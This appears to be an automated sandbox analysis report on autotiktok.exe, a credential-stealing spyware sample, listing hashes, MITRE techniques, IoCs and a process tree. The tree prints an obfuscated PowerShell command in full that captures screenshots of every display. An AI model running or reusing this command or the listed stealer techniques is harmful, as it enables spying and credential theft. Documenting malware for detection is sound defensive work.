6c3d0aec1057e3783db453fb638ad9dd3cb72051326e09b4396921b1b85074c2

Analysis

max time kernel
30s
max time network
34s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10-08-2024 09:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

autotiktok.exe
Size

14.9MB
MD5

51a342514e8ac6cc0c28a8efe517085e
SHA1

fb48ec3f94064f40a7da135a9d2f18591a085fb2
SHA256

682081e75727400e5a29471b8f1564f0917e8d91ee84123722573cea15037491
SHA512

6d1d0627a47c3ad3648c0562270a699371adf9b239804e225369288cbdcd6938f2c42ceda4227f6520e94ed934839ad45d04b0b21f89afc91fd887cb2a85cd1d
SSDEEP

393216:SL+jPdq2VeGuuh7VIJh3LlVTYV+Zi8fje2hrahAlY:SL+j0kJVIJxLlVTYMZiullY

Score

9^/10

credential_access defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

autotiktok.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	autotiktok.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

Processes:

tool-gop-pc.exe

pid process

3424 tool-gop-pc.exe

Loads dropped DLL 38 IoCs

Processes:

tool-gop-pc.exe

pid	process
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe
3424	tool-gop-pc.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

916 powershell.exe
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

27 api.ipify.org
28 api.ipify.org
29 ipinfo.io
30 ipinfo.io
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

pid	process
916	powershell.exe

flow	ioc
27	api.ipify.org
28	api.ipify.org
29	ipinfo.io
30	ipinfo.io

Enumerates processes with tasklist 1 TTPs 48 IoCs

discovery

Process Discovery

T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid	process
2256	tasklist.exe
4340	tasklist.exe
4992	tasklist.exe
4148	tasklist.exe
4768	tasklist.exe
4216	tasklist.exe
4796	tasklist.exe
3144	tasklist.exe
220	tasklist.exe
3472	tasklist.exe
4844	tasklist.exe
5048	tasklist.exe
3788	tasklist.exe
64	tasklist.exe
4316	tasklist.exe
2452	tasklist.exe
2608	tasklist.exe
1136	tasklist.exe
4036	tasklist.exe
1068	tasklist.exe
4776	tasklist.exe
2376	tasklist.exe
4128	tasklist.exe
3136	tasklist.exe
1656	tasklist.exe
3212	tasklist.exe
432	tasklist.exe
2300	tasklist.exe
2832	tasklist.exe
2248	tasklist.exe
3100	tasklist.exe
1740	tasklist.exe
4276	tasklist.exe
4876	tasklist.exe
1020	tasklist.exe
4524	tasklist.exe
1708	tasklist.exe
3700	tasklist.exe
4320	tasklist.exe
4832	tasklist.exe
4224	tasklist.exe
1192	tasklist.exe
3236	tasklist.exe
2524	tasklist.exe
4424	tasklist.exe
4728	tasklist.exe
4252	tasklist.exe
4780	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

4912 WMIC.exe
Modifies registry class 1 IoCs

Processes:

autotiktok.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings autotiktok.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1740 powershell.exe
1740 powershell.exe
916 powershell.exe
916 powershell.exe
4724 powershell.exe
4724 powershell.exe

pid	process
4912	WMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	autotiktok.exe

pid	process
1740	powershell.exe
1740	powershell.exe
916	powershell.exe
916	powershell.exe
4724	powershell.exe
4724	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	4128	tasklist.exe
Token: SeDebugPrivilege	2832	tasklist.exe
Token: SeDebugPrivilege	4876	tasklist.exe
Token: SeDebugPrivilege	3472	tasklist.exe
Token: SeDebugPrivilege	4844	tasklist.exe
Token: SeDebugPrivilege	1020	tasklist.exe
Token: SeDebugPrivilege	3136	tasklist.exe
Token: SeDebugPrivilege	5048	tasklist.exe
Token: SeDebugPrivilege	4340	tasklist.exe
Token: SeDebugPrivilege	2524	tasklist.exe
Token: SeDebugPrivilege	1656	tasklist.exe
Token: SeDebugPrivilege	3788	tasklist.exe
Token: SeDebugPrivilege	3212	tasklist.exe
Token: SeDebugPrivilege	4424	tasklist.exe
Token: SeDebugPrivilege	432	tasklist.exe
Token: SeDebugPrivilege	64	tasklist.exe
Token: SeDebugPrivilege	4316	tasklist.exe
Token: SeDebugPrivilege	3144	tasklist.exe
Token: SeDebugPrivilege	2248	tasklist.exe
Token: SeDebugPrivilege	220	tasklist.exe
Token: SeDebugPrivilege	2452	tasklist.exe
Token: SeDebugPrivilege	2608	tasklist.exe
Token: SeDebugPrivilege	1136	tasklist.exe
Token: SeDebugPrivilege	4224	tasklist.exe
Token: SeDebugPrivilege	4524	tasklist.exe
Token: SeDebugPrivilege	1708	tasklist.exe
Token: SeDebugPrivilege	4728	tasklist.exe
Token: SeDebugPrivilege	1192	tasklist.exe
Token: SeDebugPrivilege	4992	tasklist.exe
Token: SeDebugPrivilege	4148	tasklist.exe
Token: SeDebugPrivilege	2300	tasklist.exe
Token: SeDebugPrivilege	4832	tasklist.exe
Token: SeDebugPrivilege	3700	tasklist.exe
Token: SeDebugPrivilege	4036	tasklist.exe
Token: SeDebugPrivilege	4768	tasklist.exe
Token: SeDebugPrivilege	4320	tasklist.exe
Token: SeDebugPrivilege	1068	tasklist.exe
Token: SeDebugPrivilege	4216	tasklist.exe
Token: SeDebugPrivilege	4252	tasklist.exe
Token: SeDebugPrivilege	4796	tasklist.exe
Token: SeDebugPrivilege	3100	tasklist.exe
Token: SeDebugPrivilege	2256	tasklist.exe
Token: SeDebugPrivilege	1740	tasklist.exe
Token: SeDebugPrivilege	2376	tasklist.exe
Token: SeDebugPrivilege	3236	tasklist.exe
Token: SeDebugPrivilege	4276	tasklist.exe
Token: SeDebugPrivilege	4780	tasklist.exe
Token: SeDebugPrivilege	4776	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeSecurityPrivilege	1956	WMIC.exe
Token: SeTakeOwnershipPrivilege	1956	WMIC.exe
Token: SeLoadDriverPrivilege	1956	WMIC.exe
Token: SeSystemProfilePrivilege	1956	WMIC.exe
Token: SeSystemtimePrivilege	1956	WMIC.exe
Token: SeProfSingleProcessPrivilege	1956	WMIC.exe
Token: SeIncBasePriorityPrivilege	1956	WMIC.exe
Token: SeCreatePagefilePrivilege	1956	WMIC.exe
Token: SeBackupPrivilege	1956	WMIC.exe
Token: SeRestorePrivilege	1956	WMIC.exe
Token: SeShutdownPrivilege	1956	WMIC.exe
Token: SeDebugPrivilege	1956	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1956	WMIC.exe
Token: SeRemoteShutdownPrivilege	1956	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

autotiktok.exeWScript.exetool-gop-pc.execmd.exepowershell.execsc.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 804 wrote to memory of 1820	804	autotiktok.exe	WScript.exe
PID 804 wrote to memory of 1820	804	autotiktok.exe	WScript.exe
PID 1820 wrote to memory of 3424	1820	WScript.exe	tool-gop-pc.exe
PID 1820 wrote to memory of 3424	1820	WScript.exe	tool-gop-pc.exe
PID 3424 wrote to memory of 3908	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 3908	3424	tool-gop-pc.exe	cmd.exe
PID 3908 wrote to memory of 1740	3908	cmd.exe	powershell.exe
PID 3908 wrote to memory of 1740	3908	cmd.exe	powershell.exe
PID 1740 wrote to memory of 2452	1740	powershell.exe	csc.exe
PID 1740 wrote to memory of 2452	1740	powershell.exe	csc.exe
PID 2452 wrote to memory of 3048	2452	csc.exe	cvtres.exe
PID 2452 wrote to memory of 3048	2452	csc.exe	cvtres.exe
PID 3424 wrote to memory of 4100	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 4100	3424	tool-gop-pc.exe	cmd.exe
PID 4100 wrote to memory of 4128	4100	cmd.exe	tasklist.exe
PID 4100 wrote to memory of 4128	4100	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 5016	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 5016	3424	tool-gop-pc.exe	cmd.exe
PID 5016 wrote to memory of 2832	5016	cmd.exe	tasklist.exe
PID 5016 wrote to memory of 2832	5016	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 3524	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 3524	3424	tool-gop-pc.exe	cmd.exe
PID 3524 wrote to memory of 4876	3524	cmd.exe	tasklist.exe
PID 3524 wrote to memory of 4876	3524	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 2348	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 2348	3424	tool-gop-pc.exe	cmd.exe
PID 2348 wrote to memory of 3472	2348	cmd.exe	tasklist.exe
PID 2348 wrote to memory of 3472	2348	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 1960	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 1960	3424	tool-gop-pc.exe	cmd.exe
PID 1960 wrote to memory of 4844	1960	cmd.exe	tasklist.exe
PID 1960 wrote to memory of 4844	1960	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 3932	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 3932	3424	tool-gop-pc.exe	cmd.exe
PID 3932 wrote to memory of 1020	3932	cmd.exe	tasklist.exe
PID 3932 wrote to memory of 1020	3932	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 3068	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 3068	3424	tool-gop-pc.exe	cmd.exe
PID 3068 wrote to memory of 3136	3068	cmd.exe	tasklist.exe
PID 3068 wrote to memory of 3136	3068	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 5076	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 5076	3424	tool-gop-pc.exe	cmd.exe
PID 5076 wrote to memory of 5048	5076	cmd.exe	tasklist.exe
PID 5076 wrote to memory of 5048	5076	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 3556	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 3556	3424	tool-gop-pc.exe	cmd.exe
PID 3556 wrote to memory of 4340	3556	cmd.exe	tasklist.exe
PID 3556 wrote to memory of 4340	3556	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 4832	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 4832	3424	tool-gop-pc.exe	cmd.exe
PID 4832 wrote to memory of 2524	4832	cmd.exe	tasklist.exe
PID 4832 wrote to memory of 2524	4832	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 3700	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 3700	3424	tool-gop-pc.exe	cmd.exe
PID 3700 wrote to memory of 1656	3700	cmd.exe	tasklist.exe
PID 3700 wrote to memory of 1656	3700	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 2512	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 2512	3424	tool-gop-pc.exe	cmd.exe
PID 2512 wrote to memory of 3788	2512	cmd.exe	tasklist.exe
PID 2512 wrote to memory of 3788	2512	cmd.exe	tasklist.exe
PID 3424 wrote to memory of 4880	3424	tool-gop-pc.exe	cmd.exe
PID 3424 wrote to memory of 4880	3424	tool-gop-pc.exe	cmd.exe
PID 4880 wrote to memory of 3212	4880	cmd.exe	tasklist.exe
PID 4880 wrote to memory of 3212	4880	cmd.exe	tasklist.exe

C:\Users\Admin\AppData\Local\Temp\autotiktok.exe
"C:\Users\Admin\AppData\Local\Temp\autotiktok.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:804
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\autoFB.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\tool-gop-pc.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\tool-gop-pc.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3908
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1740
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nhmgsvvj\nhmgsvvj.cmdline"
